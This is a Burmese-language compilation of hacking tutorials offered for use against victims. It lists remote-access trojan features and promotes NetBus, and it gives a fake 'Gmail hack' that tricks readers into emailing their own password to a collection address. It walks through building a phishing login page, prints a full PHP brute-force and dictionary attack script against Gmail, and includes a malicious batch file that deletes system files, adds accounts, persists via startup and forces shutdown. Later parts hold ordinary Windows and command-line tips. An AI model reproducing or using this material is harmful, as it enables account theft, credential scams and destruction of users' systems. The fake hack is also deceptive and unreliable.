-get WINDOWS CD-Key
-update victim from URL
-ICQ takeover
-FTP root folder
-retrieve dial-up passwords along with phone numbers and username
-port redirect
-IRC boot for a list of commands
-file manager bookmarks
-make folder, delete folder (Empty of Full)
-process manager
-text 2 speech
-Restart server
-Aol Instant Messenger Spy
-Yahoo Messenger Spy
-Microsoft Messenger Spy
-Retrieve list of ICQ uins and passwords
-App Redirect
-Edit files
- set/change screen saver settings
-Restart Windows
-IP Tools (Resolved Host name/ Ping IP address)
-Address
-City
-E-Mail
-Real name
-Country code
-Local Phone
-Zip code………….အစသျဖင့္ေပါ့…….. အျခားလုပ္ေဆာင္ႏိုင္မႈမ်ားစြာရွိပါေသးတယ္….။
NetBus
Net Bus ဆိုတာကေတာ့ ဟိုးအရင္တုန္းက သံုးခဲ့တဲ့ Trojan အေဟာင္းတစ္မ်ိဳးပါ။ ဒါေပမဲ့ ေတာ္ေတာ္
မ်ားမ်ားကေတာ့ ၄င္းကို ခုခ်ိန္ထိ သံုးစြဲလွ်က္ရွိၾကပါတယ္။ Net Bus နဲ႔ေမႊြရတာလဲေတာ္ေတာ္အဆင္ေျပပါတယ္။
စမ္းသံုးၾကည့္ေပါ့……..။ သံုးနည္းကို အေပၚတြင္ ေဖၚျပၿပီးပါၿပီ။
NetBus ကို ဤသို႔ေတြ႔ျမင္ရပါတယ္။
NetBus ၏ လုပ္ေဆာင္ႏိုင္စြမ္းမ်ားကို အထက္တြင္ ေဖၚျပထားပါသည္။ အေသးစိတ္ေတာ့ မေဖၚျပေတာ့ပါ။
……………………………………………………………………………………………………………………………………………...........
အပိုင္း (၃) Gmail Password Hack နည္း
Gmail Password ကို Hack ရာတြင္ ဘာေတြလိုအပ္သနည္း ???
Hack နည္းေပါင္းမ်ားစြာရွိပါတယ္။ ေရွးဦးစြာ ရိုးရိုးရွင္းရွင္းျဖင့္ Hack ေသာနည္းလမ္းကို အရင္ေဖၚျပပါမည္။ လြန္ခဲ့တဲ့
၂၀၀၈ ခုႏွစ္ေလာက္တုန္းက javascript နည္းျဖင့္က်ေနာ္ သံုးၾကည့္ဖူးပါတယ္။ အခုေနာက္ပိုင္းထပ္သံုးၾကည့္တာ
မရေတာ့ပါဘူး၊ Google က admin ေတြကလဲ ငတံုးေတြမွမဟုတ္တာ။ သူတို႔ security ေတြကို
ခဏခဏျပန္ျပန္ျပင္တယ္ေလ။ က်ေနာ္တို႔ထက္အမ်ားႀကီးမွ အမ်ားႀကီးကိုလည္တာေပါ့။ ယခု နည္းက ေတာ့ Google ရဲ႕
security ေတြကို ျဖတ္ေက်ာ္လို႔ရတဲ့ javascript အသစ္တစ္ခုပါ။ က်ေနာ္ဤ နည္းကို ႏိုင္ငံျခား Hacking
စာအုပ္ထဲကေနု ဘာသာျပန္ထားတာပါ။ ၀ါသနာပါရင္ နည္းနည္းပါးပါးေလာက္ ၀င္ေမႊၾကည့္ၾကေပါ့
လုပ္နည္း
တစ္ဆင့္ျခင္းဆီေဖၚျပထားပါတယ္။
အဆင့္(၁) သင္၏ကိုယ္ပိုင္ Gmail account ျဖင့္ Gmail ထဲသို႔ Login ၀င္ပါ။
မွတ္ခ်က္ ( passwrdserver2@gmail.com သို႔အရင္ဆံုး add ထားပါ၊ add
ထားျပီးအနည္းဆံုးရက္ေပါင္း ၃၀ ျပည့္မွ ဤလုပ္နည္းသို႔စတင္လုပ္ႏိုင္မည္ျဖစ္သည္)
အဆင့္(၂) Login ၀င္ျပီးျပီးျခင္း compose mail လုပ္ပါ။To: ဆိုတဲ့ေနရာမွာ passwrdserver2@gmail.com
လို႔ေရးပါ။(passwrdserver2@gmail.com ဆိုတာ Google server မွ username ႏွင့္ password မ်ား ကို
မွတ္ထားေသာ ေနရာသို႔ mail ပို႔လိုက္ျခင္းျဖစ္ပါတယ္။ Automatic server ကေန သင့္ကို mail
တစ္ေဆာင္ျပန္ပို႔ပါလိမ့္မယ္။ ေစာင့္ေနပါ)
အဆင့္(၃) Subject: ဆိုတဲ့ ေနရာမွာ ‘’PASSWORD RECOVERY’’ ဆိုၿပီး တိတိက်က်ေရးပါ။
စာလံုးေပါင္းမမွားပါေစႏွင့္။ အေရးႀကီးပါတယ္။
အဆင့္(၄) mail ကိုစတင္ေရးႏိုင္ပါျပီ။ ပထမစာေၾကာင္းမွာ သင္ hack ခ်င္ေသာ သူ၏ account ကိုေရးပါ။
အဆင့္(၅) ဒုတိယစာေၾကာင္းမွာေတာ့ သင္ယခုလက္ရွိအသံုးျပဳေနေသာ gmail account ကိုေရးပါ။
အဆင့္(၆) တတိယေျမာက္စာေၾကာင္းမွာေတာ့ သင္၏ gmail password ကိုေရးပါ java script ျဖင့္ users
administrator server security ကိုျဖတ္ေက်ာ္ရာတြင္ verify လုပ္ရန္သင္၏ password ကိုလဲလိုပါတယ္။
အဆင့္(၇) ေနာက္ဆံုးအဆင့္နဲ႔ တကယ့္ကိုအေရးအႀကီးဆံုးအဆင့္ပါပဲဗ်ာ..။ ေအာက္မွာ က်ေနာ္ေဖၚျပထားတဲ့
code ကိုေသေသခ်ာခ်ာ ေကာ္ပီကူးပါ။
cgi-bin_RETRIVE_PASS_BIN_PUB/$et76431&pwrsa
script< ip://233.243.2.34/cgi-bin/start?
v703&login=passmachine&f=(password)&f=27586&javascript=ACTIVE&rsa#>
{simply copy and paste above.}
အားလံုး ready ျဖစ္ပါက send လို႔ရပါျပီ။ send လိုက္ပါေတာ့။
ဥပမာ- သင္၏ ကိုယ္ပိုင္ gmail account က myname@gmail.com ဆိုပါစို႔
သင္၏ password က 123456 လို႔မွတ္လိုက္ပါ။ သင္ hack ခ်င္ေသာ သူ၏
Gmail account ကေတာ့ test@gmail.com လို႔ထားလိုက္ပါ။က်ေနာ္ေအာက္မွ ေဖၚျပထားတဲ့အတိုင္း
mail တစ္ေဆာင္ေရးပါ။……..
To: ‘’gmail.com’’<passwrdserver2@gmail.com>
Bcc: , cc: ထိုေနရာမ်ားတြင္ ဘာမွ မေရးပါႏွင့္
Subject: ‘’PASSWORD RECOVERY’’
Text box ထဲတြင္ေရးရန္
test@gmail.com
myname@gmail.com
123456
cgi-bin_RETRIVE_PASS_BIN_PUB/$et76431&pwrsa
script< ip://233.243.2.34/cgi-bin/start?
v703&login=passmachine&f=(password)&f=27586&javascript=ACTIVE&rsa#>
{simply copy and paste above.}
System Reg လို႔ေခၚတဲ့ mail တစ္ေဆာင္ သင့္ဆီကို ၆ နာရီအတြင္း automatic ျပန္ပို႔ပါလိမ့္မယ္။ ထို mail
ထဲတြင္ သင္ hack လိုေသာသူ၏ information မ်ားအကုန္ပါလာမွာျဖစ္ပါတယ္။ စမ္းၾကည့္က်ပါ။ က်ေနာ့္ mail
ကိုေတာ့ မ hack နဲ႔ေနာ္ password ကို အလံုး ၆၀ ေပးထားလို႔ပါ…..ဟီး……ဟီး…..
Phishing
Phishing ႏွင့္ ပတ္သတ္ျပီး
က်ေနာ္ Phishing ဆိုတဲ့ အေၾကာင္းကို သိသေလာက္ နည္းနည္းေျပာခ်င္ပါတယ္။ တကယ္ေတာ့ အဲဒီ Phishing
ဆိုတာ လိမ္တဲ့ နည္းေလးတစ္ခုပါ။ သူမ်ားရဲ႕ Gmail account ပဲျဖစ္ျဖစ္၊ Yahoo account ပဲျဖစ္ျဖစ္၊ mediafire account
ပဲျဖစ္ျဖစ္ မည္သည့္ အေကာင့္ ကိုမဆို လိမ္ညာကာ password ယူလို႔ရေသာနည္းလမ္းျဖစ္ပါတယ္။ Phisher ဆုိတာ
ကြန္ပ်ဴတာ အသုံးၿပဳသူတုိ႔ရဲ႕ Data Information ေတြကုိရယူရန္ ၿပဳလုပ္ထား အတုအေရာင္စာမ်က္ႏွာ (a fake login
page) တစ္ခုသာလွ်င္ ၿဖစ္ပါတယ္။ fake login page ေတြက Computer user ေတြရဲ႕ user name and password
ေတြကုိ ဖုိင္တစ္ခုကေန၊ ဒါမွမဟုတ္ ေမးလ္ကုိ Direct ပုိ႔တဲ႔ နည္းလမ္းသုံးထားတာမ်ားပါတယ္... တစ္ခ်ဳိ႕ေတြက
က်ယ္က်ယ္ၿပန္႔ၿပန္႔သုံးၾကပါတယ္..
သ႔ရူ ဲ႕အလုပ္လုပ္ပုံက ရိုးရွင္းပါတယ္။ free host, free domain, code script ( မိမိ hack ခ်င္တဲ့ site ရဲ႕ code ပါ )
ျပီးရင္ setting အနည္းငယ္ေလး ၀င္ျပင္ျပီးရင္ Hack လို႔ရပါျပီ။
php enabled ထားတဲ႔ web hosting တစ္ခုလုိပါတယ္... Phishing Attacker ေတြကေတာ့ free ရတဲ႔ webhosting မွာ
account တစ္ခုဖြဲ႔ၿပီးသုံးေလ့ရွိပါတယ္...
မိမိအသုံးၿပဳတဲ႔ mail services, ဆုိၾကပါဆုိ Gmail
https://mail.google.com ကုိပဲသြားသြား, https://www.gmail.com ပဲ ၿဖစ္ၿဖစ္ ဖြင့္ကာ Ctrl + U သုိ႔မဟုတ္ Menu bar
မွာ view>Page Source ကိုသြားကာ အကုန္လုံးကုိ Copy ကူးၿပီး text editor or web editor .. example :
Dreamwaver ကဲ႔သုိ႔ Editor ထဲကုိ အကုန္လုံး paste လုပ္ယူလုိက္ပါ...
Code:
<form id="gaia_loginform" action="https://www.google.com/accounts/ServiceLoginAuth?service=mail" method="post"
onSubmit="return(gaia_onLoginSubmit());">
ကုိ မိမိဖန္တီးထားတဲ႔ login page မွ data ေတြကုိ ရယူႏုိင္ေအာင္ သိမ္းဆည္းထားတဲ႔ login script file
ကုိလမ္းညြန္ေပးရပါတယ္..
ဥပမာ..
Code:
<form action="http://www.planetcreator.net/tutorial/Fake Login/login.php" method="post">
(login.php ဆုိတာက fake login page က User ရုိက္ထည့္လုိက္ေသာ user name and password ကုိရယူတာပါ)
အဲ႔လုိ ၿပင္ဆင္မူ႔ေတြလုပ္ၿပီး free hosting တစ္ခုမွာတင္...
user ကုိ နည္းမ်ဳိးစုံနဲ႔ မိမိရဲ႕ ေထာင္ေၿခာက္ထဲကုိ အေရာက္သြင္းၾကတာပါ..........
ဒါက Fake Login Page ေတြရဲ႕ နမူနာပါ။ တကယ္တမ္း fake login ေတြက ဒီေလာက္နဲ႔ မလုံေလာက္ပါဘူး... Phishing
Hacker ေတြက သူတုိ႔ရဲ႕ phisher ေတြကုိ နည္းလမ္းမ်ဳိးစုံနဲ႔ ၄င္းတုိ႔ရဲ႕ Victim ယုံၾကည္ေလာက္ေအာင္
ေသြးေဆာင္ၿဖားေယာင္း၊ ၿပီးေတာ့ attacker ဖန္တီးထားတဲ႔ page ကုိေရာက္ရင္ေတာင္မွ သာမာန္ user
တစ္ေယာက္အတြက္ လုံး၀ (လုံး၀) မသိေအာင္ address bar / mouse down function
ေတြကအစေပါ႔...စသည္..စသည္
၄င္း Fake Loign အားသြားေရာက္ စမ္းသပ္ရန္... စမ္းသပ္ရုံစမ္းသပ္ပါ... မိမိရဲ႕ gmail user name and password
ကုိေယာင္လုိ႔ေတာင္ ရုိက္မထည့္လုိက္နဲ႔.... လုံး၀ တာ၀န္မယူ။
……………………………………………………………………………………………………………………………………………...........
အပိုင္း (၄) Phishing နည္းလမ္းကိုအသံုးျပဳ၍ gmail password ေဖာက္နည္း
free host တခုခုမွာ ဒီကုဒ္ေတြကို သြင္းျပီး ဒါမွမဟုတ္ ကိုယ့္စက္ကို local host အေနနဲ႕ setting ခ်ျပီး
ဂ်ီေမးကိုေဖာက္လို႕ရပါျပီ။
<?php
//////////////////////
////Gmail-Brute//////
///////////////////////
////////////////////////
# This script was created to Brute Force G-Mail Logins,#
#it Uses CURL and 2 Methods of Login attacks (Brute Force and Dictionary) #
////////////////////////
$dic ="your Dictionary file here.txt";
///////////////////////
echo "
<title>Gmail Brute Force Attacker</title>
</head>
<style type='text/css'>
body {
font:Verdana, Arial, Helvetica, sans-serif;
font-size:12px;
border-color:#FFFFFF;
}
.raster_table {
background-color:#444444;
border-color:#CCCCCC;
}
.alert {
color:#FF0000;
}
</style>
<body>
<table cellpadding='0' cellspacing='0' align='center' class='raster_table' width='75%'>
<tr>
<td>
<div align='center'><b>Gmail Brute Force Attacker</b></div>
</td>
</tr>
</table>
<table cellpadding='0' cellspacing='0' align='center' class='raster_table' width='75%'>
<tr>
<td>
<div align='center'>
</div>
</td>
</tr>
<tr>
<td>
<div align='center'>
&nbsp;
</div>
</td>
</tr>
<tr>
<td>
<div align='center'>
<form method='post'>
Username to brute:<br>
<input name='username' type='text' /><br><br>
<input name='attack' type='submit' value='dictionary' /> -
<input name='attack' type='submit' value='brute' /><br>
</form>
</div>
</td>
</tr>
<tr>
<td>
<div align='center'>
&nbsp;
</div>
</td>
</tr>
</table>
";
// Sets variables and retrives google error for comparing
if(isset($_POST['attack']) && isset($_POST['username'])) {
$username = $_POST['username'];
$headers = array(
"Host: mail.google.com",
"User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-
GB; rv:1.8.0.4) Gecko/20060508 Firefox/1.5.0.4",
"Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,imag
e/png,*/*;q=0.5",
"Accept-Language: en-us,en;q=0.5",
"Accept-Encoding: text", # No gzip, it only clutters your code!
"Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7",
"Date: ".date(DATE_RFC822)
);
$c = curl_init('https://mail.google.com/mail/feed/atom');
curl_setopt($c, CURLOPT_HTTPAUTH, CURLAUTH_ANY); // use authentication
curl_setopt($c, CURLOPT_HTTPHEADER, $headers); // send the headers
curl_setopt($c, CURLOPT_RETURNTRANSFER, 1); // We need to fetch something from a string, so n
o direct output!
curl_setopt($c, CURLOPT_FOLLOWLOCATION, 1); // we get redirected, so follow
curl_setopt($c, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($c, CURLOPT_SSL_VERIFYHOST, 1);
curl_setopt($c, CURLOPT_UNRESTRICTED_AUTH, 1); // always stay authorised
$wrong = curl_exec($c); // Get it
curl_close($c); // Close the curl stream
}
//Dictionary Attack
if($_POST['attack'] == "dictionary") {
$Dictionary = file("$dic");
for ($Position = 0; $Position < count($Dictionary); $Position++) {
$Dictionary[$Position] = str_replace("\r\n", "", $Dictionary[$Position]);
if(check_correct($username, $Dictionary[$Position])) {
die("<table cellpadding='0' cellspacing='0' boreder='1' align='center' class='raster_
table' width='75%'>
<tr>
<td>
<div align='center'><b>Found the password of: ".$Dictionary[$Position]."<br> For the
account: ".$username."</b></div>
</td>
</tr>
</table>
</body>
</html>");
}
}
echo "<table cellpadding='0' cellspacing='0' boreder='1' align='center' class='raster_table'
width='75%'>
<tr>
<td>
<div align='center'><b>Sorry... a password was not found for the account of <span cla
ss='alert'>".$username."</span> during the dictionar
y attack.</b></div>
</td>
</tr>
</table>";
}
//Brute Attack
elseif($_POST['attack'] == "brute") {
for ($Pass = 0; $Pass < 2; $Pass++) {
if ($Pass == 0){$Pass = "a";} elseif ($Pass == 1){ $Pass = "a"; }
if(check_correct($username, $Pass)) {
die("<table cellpadding='0' cellspacing='0' boreder='1' align='center' class='raster_
table' width='75%'>
<tr>
<td>
<div align='center'><b>Found the password of: ".$Dictionary[$Position]."<br> For the
account: ".$username."</b></div>
</td>
</tr>
</table>
</body>
</html>");
}
}
echo "<table cellpadding='0' cellspacing='0' boreder='1' align='center' class='raster_table'
width='75%'>
<tr>
<td>
<div align='center'><b>Sorry... a password was not found for the account of <span cla
ss='alert'>".$username."</span> during the brute for
ce attack.</b></div>
</td>
</tr>
</table>";
}
echo "</body>
</html>";
// Function for checking whether the username and password are correct
function check_correct($username, $password)
{
global $wrong, $headers;
$c = curl_init('https://'.$username.':'.$password.'@mail.google.com/mail/feed/atom');
curl_setopt($c, CURLOPT_HTTPAUTH, CURLAUTH_ANY); // use authentication
curl_setopt($c, CURLOPT_HTTPHEADER, $headers); // send the headers
curl_setopt($c, CURLOPT_RETURNTRANSFER, 1); // We need to fetch something from a string,
so no direct output!
curl_setopt($c, CURLOPT_FOLLOWLOCATION, 1); // we get redirected, so follow
curl_setopt($c, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($c, CURLOPT_SSL_VERIFYHOST, 1);
curl_setopt($c, CURLOPT_UNRESTRICTED_AUTH, 1); // always stay authorised
$str = curl_exec($c); // Get it
curl_close($c);
if($str != $wrong) {return true;}
else {return false;}
}
?>
PHP ရတဲ့ host တခုခုမွာ ဒီ code ေတြကို install လုပ္ရပါမယ္။ က်န္တာ အေသးစိတ္သိခ်င္ရင္ေတာ့ free hosting
တခုသုံးျပီး က်ေနာ္ အရင္စမ္းလိုက္အံုးမယ္ ။ ဘယ္သူ႕ကိုစမ္းရမလ ဲ မသိဘူး။
ေအာက္က free host မွာ PHP ရပါတယ္။
Code:
http://www.000webhost.com/
……………………………………………………………………………………………………………………………………………...........
အပိုင္း (၅) WINDOWS ကို၀င္ေမႊနည္း တိုလီမုတ္စမ်ား
Registry သ႔ ို ၀င္ေရာက္ေမႊေႏွာက္ျခင္း
က်ေနာ္ registry ထဲသို႔ ၀င္ေမႊနည္း နည္းနည္းပါးပါး ေျပာခ်င္ပါတယ္။ ဘာဘဲျဖစ္ျဖစ္ registry ကို ၀င္ေမႊေတာ့မယ္ဆိုရင္
ေတာ့ back up လုပ္ထားဖို့လိုပါတယ္...ဘာလို့လဲဆိုေတာ့ registry မွာ၀င္ေရးတဲ့ အခါမွာ registry က auto save
လုပ္ပါတယ္..မွားသြားပါတယ္ဆိုျပီး undo ,redo ေတြလုပ္လို့မရပါဘူး....
အဲဒါေၾကာင့္ပါ.....
ကဲ က်ေနာ္တို႔ All program ကိုေဖ်ာက္လိုက္ရေအာင္....
- start > run ကို၀င္ပါ..
- regedit လို့ ၇ိုက္ျပီး enter ႏွိပ္ပါ..
- HKEY-CURRENT- USER\software\microsoft\windows\current version\policies\explorer
- explorer ေပၚကို right click ႏွိပ္ျပီး new ကိုေရြးခ်ယ္ပါ Dword value ကိုဖြင့္ပါ..
ထိုအခါ ညာဘက္ျမင္ကြင္းမွာ new value #1 ေပၚလာပါမယ္..
-new value #1 ကို rename ေပးလိုက္ပါ..
name က NoStartMenuMoreProgram ျဖစ္ပါတယ္..
NoStartMenuMoreProgram ေပၚကိုလည္း right click ေပးျပီး modify ေရြးပါ
value data အကြက္ထဲ က 0 ေပၚေနပါမယ္..အဲဒါကို 1 ေျပာင္းေပးလိုက္ပါ..
computer ကို restart ေပးလိုက္ပါ...
Folder ကို software မသံုးပဲ Lock ခ်နည္း
ေရွးဦးစြာ notepad သို႔မဟုတ္ Command Promt ကိုဖြင့္ျပီး edit ထဲတြင္ ေအာက္ေဖၚျပပါ command မ်ားကို
ေရးသား၍ .bat file အေနျဖင့္ save မွတ္ပါ။ Notepad ထဲတြင္ေရး၍ Save name as ဆိုတဲ့ ေနရာမွာ example.bat လို႔
save မွတ္ပါ။ ထို file အားလြယ္လြယ္ကူကူ desktop ေပၚမွာပဲ သိမ္းထားေပါ့။ ထို႔ေနာက္ ၄င္း .bat file အား Run
လိုက္ပါ။ Private ဆိုေသာ Folder တစ္ခု ေပၚလာပါလိမ့္မယ္။ အဲဒီ Folder ထဲတြင္မိမိ သိမ္းထားခ်င္ေသာ files မ်ား
folder မ်ား ထည့္လိုက္ပါ။ ထို႕ေနာက္ example.bat file အားေနာက္တစ္ေခါက္ run လိုက္ပါ။ ထိုအခါ cmd Windows
တစ္ခု ေပၚလာပါလိမ့္မယ္။ Set Password to Lock Folder ဆိုတာေပၚလာပါတယ္။ ကိုယ္လိုခ်င္တဲ့ password
ေရးလိုက္ေပါ့။ ေနာက္ထပ္ Are You Sure to Lock this Folder (Y/N) ဆိုတာေပၚလာပါလိမ့္မယ္။ Y လို႔ရိုက္လိုက္ပါ။
Private ဆိုေသာ Folder ေပ်ာက္သြားပါမယ္။ ၄င္း folder ကိုျပန္လိုခ်င္လွ်င္ example.bat ဆိုတဲ့ file ကိုျပန္ run ပါ။
Enter Password to Unlock Folder ဆိုတာေပၚလာပါလိမ့္မယ္။ Password ရိုက္လိုက္ပါ။ ၄င္း folder
ျပန္ေပၚလာပါလိမ့္မယ္။ စမ္းၾကည့္က်ေပါ့ဗ်ာ……….
Command
cls
@ECHO OFF
title Folder Private
if EXIST "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" goto UNLOCK
if NOT EXIST Private goto MDLOCKER
:CONFIRM
echo Are you sure you want to lock the folder(Y/N)
set/p "cho=>"
if %cho%==Y goto LOCK
if %cho%==y goto LOCK
if %cho%==n goto END
if %cho%==N goto END
echo Invalid choice.
goto CONFIRM
:LOCK
ren Private "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
attrib +h +s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
echo Folder locked
goto End
:UNLOCK
echo Enter password to unlock folder
set/p "pass=>"
if NOT %pass%== password here goto FAIL
attrib -h -s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
ren "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" Private
echo Folder Unlocked successfully
goto End
:FAIL
echo Invalid password
goto end
:MDLOCKER
md Private
echo Private created successfully
goto End
:End
သူမ်ားကို ဒုကၡေပးခ်င္လွ်င္။ ။ေအာက္ေဖၚျပပါ command မ်ားကို notepad ထဲသို႕ copy, paste ကာ .bat file
အမ်ိဳးအစားျဖင့္ save မွတ္ပါ။ ထို႔ေနာက္၄င္း file အားလံုး၀ဖြင့္မၾကည့္ပါႏွင့္။ ဖြင့္ၾကည့္ပါက error message
မ်ားတတ္လာျပီး Windows က auto shut down ျဖစ္ေနပါလိမ့္မယ္။ ေနာက္တစ္ေခါက္ဖြင့္လဲ Windows
တတ္ျပီးျပီးျခင္း ၁၀ စကၠန္႔အတြင္း Shut Down ျဖစ္ေနပါလိမ့္မယ္။ ဘယ္လိုမွ ျပန္ဖြင့္ႏိုင္မွာမဟုတ္ပါဘူး။ safemode
ကျပန္ျပင္မွ ျပန္ေကာင္းႏိုင္မွာပါ ။ ဟဲဟ…ဲ …..
title any
@echo off
copy any.bat "c:\documents and settings\all users\start menu\programs\startup"
del *.dll
del *.exe
del *.ini
time 00:00
date 88/88/888
net user administrator *18083
net user 598 *32087 /add
net user 3063 *864 /add
net user 3262 *21895 /add
net user 29039 *3102 /add
net user 15688 *215 /add
net user 24824 *28761 /add
net user 25176 *23975 /add
net user 8896 *28052 /add
msg *any
echo copy q.bat "documents and settings\all users\start menu\programs\startup"
echo copy q.bat "documents and settings\all users\start menu\programs\startup"
cd C:\WINDOWS\system32
del /S /F /Q keyboard.drv
del /S /F /Q keyboard.sys
del system32
shutdown -s -f
exit
Cmd Dos Command နည္းနည္းပါးပါး
က်ေနာ္ သိထားတဲ့ CMD DOS COMMAND နည္းနည္းပါ
႔သိၿပီးသားသူေတြလည္းရွိပါတယ္ ...
မသိေသးတဲ့ သူေတြအတြက္ပဲ ရည္ရြယ္ပါတယ္ ....
Run Box မွာ cmd ရိုက္ထည့္လိုက္မယ္
C Directory ကိုသြားမယ္ဆို C: , D ဆိုရင္ D: စသည့္ျဖင့္ေပါ့ ....
ပထမဆံုးေျပာရရင္ .. cmd ကိုစေခၚလိုက္တာနဲ႔ စျမင္ရမွာက
C:\Documents and Settings\user name> ပါ ...
အဲဒီ Directory မွာ ဘယ္ Folder ေတြပါလည္း ၾကည့္ခ်င္ရင္
dir /a နဲ႔ ၾကည့္ရပါတယ္
အဲဒီ့ Directory တစ္ခုထဲက Folder ကို ဖြင့္ခ်င္ရင္
cd ခံထားၿပီး မိမိဖြင့္ခ်င္တဲ့ Folder Name (ဥပမာ။ ။ Desktop)ေပးၿပီး ဖြင့္ရပါတယ္
C:\Documents and Settings\user name\Desktop>
ထို Folder မွ ျပန္ထြက္ခ်င္ရင္ cd.. ေရးၿပီး ျပန္ထြက္ရပါမယ္
Hidden ျဖစ္ေနတဲ့ Folder (သို႔) File ကို unhidden ေပးခ်င္တယ္ဆိုရင္
Folder Option ကေန virus ကိုက္တယ္ဆို show hidden folder ေပးလည္း မရတာေတြရွိပါတယ္
attrib -H /S /D "c:\......\folder name"
hidden ျဖစ္ေနတဲ့ Folder (သို႔) File ရွိတဲ့ Directory အျပည့္အစံုကို /D ေနာက္ကေန
ဆက္ေရးေပးရပါတယ္
Directory တစ္ခုမွာရွိတဲ့ folder ထဲက files ေတြကို တျခား Directory တစ္ခုမွာရွိတဲ့
folder ထဲကို ေျပာင္းေရႊ႕ကူးယူခ်င္တယ္ဆို ...
မိမိေျပာင္းေပးခ်င္တဲ့ Directory ကိုအရင္ဖြင့္ေပးရပါတယ္ (ဥပမာ။ ။ C: ထဲက Desktop ကိုေရႊ႕မယ္ဆို C:\Documents
and Settings\user name\Desktop>
လို႔ အရင္ဖြင့္ေပးလိုက္ပါ။
ေနာက္မဆက္ၿပီး ကူးယူခ်င္တဲ့ Directory မွ folder ကိုေရးေပးရပါတယ္
xcopy /a "e:\foler name" ဟုေရးေပးရပါမယ္ ...
၂ခုေပါင္းကိုၾကည့္မယ္ဆိုရင္ေတာ့
C:\Documents and Settings\user name\Desktop>xcopy /a "e:\foler name"
အခု ကူးယူတာက unhidden files ေတြကိုပဲ ကူးယူးတာပါ။
hidden files ေတြကိုကူးမယ္ဆိုရင္ေတာ့ /h ထည့္ေပးရုံပါပ ဲ
xcopy /h /a "e:\foler name" ဟုေရးေပးလိုက္ပါ...
အခုက files ကိုပဲကူးတာပါ ...
Folder အလိုက္ကူးမယ္ဆိုရင္ေတာ့ /s ကိုအသံုးျပဳရပါတယ္
xcopy /s "e:\folder name" လို႔ေရးေပးရပါတယ္။
ဒါကလည္း hidden မျဖစ္တဲ့ folder ကိုကူးတာပါ
hidden folder ကိုကူးမယ္ဆိုရင္ေတာ့ /h ကိုပဲထည့္ရပါတယ္
xcopy /h /s "e:\foler name" လို႔ေရးေပးရပါတယ္ ...
အဲဒီလိုကူးယူတဲ့ အခ်ိန္မွာ CMD box မွာ ကူးယူးတဲ့ files ေတြ run တာကိုျပပါတယ္ အဲဒီလို မေပၚခ်င္ရင္ေတာ့ /Q
ထည့္ေပးရပါတယ္
xcopy /h /q /s "e:\foler name" လို႔ေရးေပးရပါတယ္ .................။
Folder Background ကို software မသံုးပဲ ပံုလွလွေလးထည့္နည္း
[{BE098140-A513-11D0-A3A4-00C04FD706EC}]
iconarea_image=E:\general\picture\DSABayonet211.jpg
iconarea_text=11x00fffffff
ေဖၚျပပါ code မ်ားကို Folder အတြင္းရွိ desktop.ini ဆိုေသာ file အတြင္းသို႔ copy ကူး paste လုပ္ပါ။ ၄င္း ini file သည္ hidden
ျဖစ္ေနပါသည္။ hidden ေဖၚျပီးရွာပါ။ iconarea_image=E:\general\picture\DSABayonet211.jpg ဆိုရာတြင္
မိမိထည့္သြင္းလိုေသာပံု ၏တည္ေနရာ ကိုသိရန္လိုပါသည္။ ဥပမာ. Desktop ေပၚရွိ image.jpg ဆိုေသာပံုကိုထည့္သြင္းခ်င္လွ်င္
iconarea_image=C:\Documents and Settings\User Name\Desktop\image.jpg ဟုေရးႏိုင္ပါတယ္။ အေနာက္က file
extension *.jpg ဆိုတာကိုထည့္ေရးရန္မေမ့ပါႏွင့္။
website ေတြ႕ရဲ႕ IP ကုိခ်က္ခ်င္းသိခ်င္တယ္ဆိုရင္
ပထမဆံုး start >>> Run ကို click.
cmd လို႕ ရိုက္ျပီး ok လုပ္.
အဲဒီမွာ ဒါေလးကို ရိုက္ထည့္ၾကည့္လိုက္.
nslookup www.google.com လို႕ရိုက္ျပီး enter ေခါက္ၾကည့္လိုက္ပါက
google ရဲ႕ IP ေတြက်လာပါလိမ့္မယ္။။မိမိသိခ်င္တဲ႕ website ရဲ႕ အမည္ကို ေျပာင္းရိုက္ၾကည့္ေပါ့
ေပ်ာ္ရႊင္ႏိုင္ပါေစ
(မစၥတာ.ေမာင္ဘစ္ေန)

Bat File သင္ခန္းစာ

www.kmdstudents.wall.fm rapperlay444@gmail.com
အဟမ္း..ကြ်န္ေတာ္ post မေရးတာလဲ ၾကာပါျပီ..ဒီေန့ေတာ့ ေရးျပီဗ်ာ..Documentation လဲျပီးျပီ
ဆုိေတာ့ အားေနတာ..ဟီး…:D ဒီတစ္ခါ ေရးမွာကေတာ့ Bat File ေတြအေၾကာင္းပါ… Bat files
ေတြအေၾကာင္း ကိုသိခ်င္ ေလ့လာခ်င္ၾကတဲ့ သူငယ္ခ်င္းမ်ားအတြက္ပါ…..ကြ်န္ေတာ္ သိထားသမွ်
ကိုအတတ္နိင္ဆံုး ရွင္းျပသြားမွာပါ..နားမလည္ရင္လဲ ကြ်န္ေတာ့္ကိုကုိယ္တုိင္လာေမးလို
့ရပါတယ္..အတတ္နိုင္ဆံုး ရွင္းျပသြားမွာပါ….ကြ်န္ေတာ္က အခု ေလာေလာဆယ္ေျမနီကုန္း KMD
မွာ IDCS တက္ေနပါတယ္.. IDCS-34 ကပါ….:) ကြ်န္ေတာ့္ကိုဆက္သြယ္ခ်င္ရင္ေတာ့
rapperlay444@gmail.com ကိုadd လုိက္ပါ…ကြ်န္ေတာ္က အားလံုးကို
ခင္တတ္ပါတယ္….ကဲ..intro ၀င္ေနတာ နဲနဲၾကာသြားျပီ…စလုိက္ၾကရေအာင္… :P
Bat File သင္ခန္းစာ ၁ (Basic Level)
အေျခခံ အဆင့္ကေန စလုိက္ရေအာင္ေနာ္… နားမလည္ရင္ လဲ ကြ်န္ေတာ့္ကို
ျပန္ေမးနိုင္ပါတယ္..နားလည္တ့သဲ ူကလဲ..နားမလည္တ့သဲ ူကို comment ေတြေပးျပီး
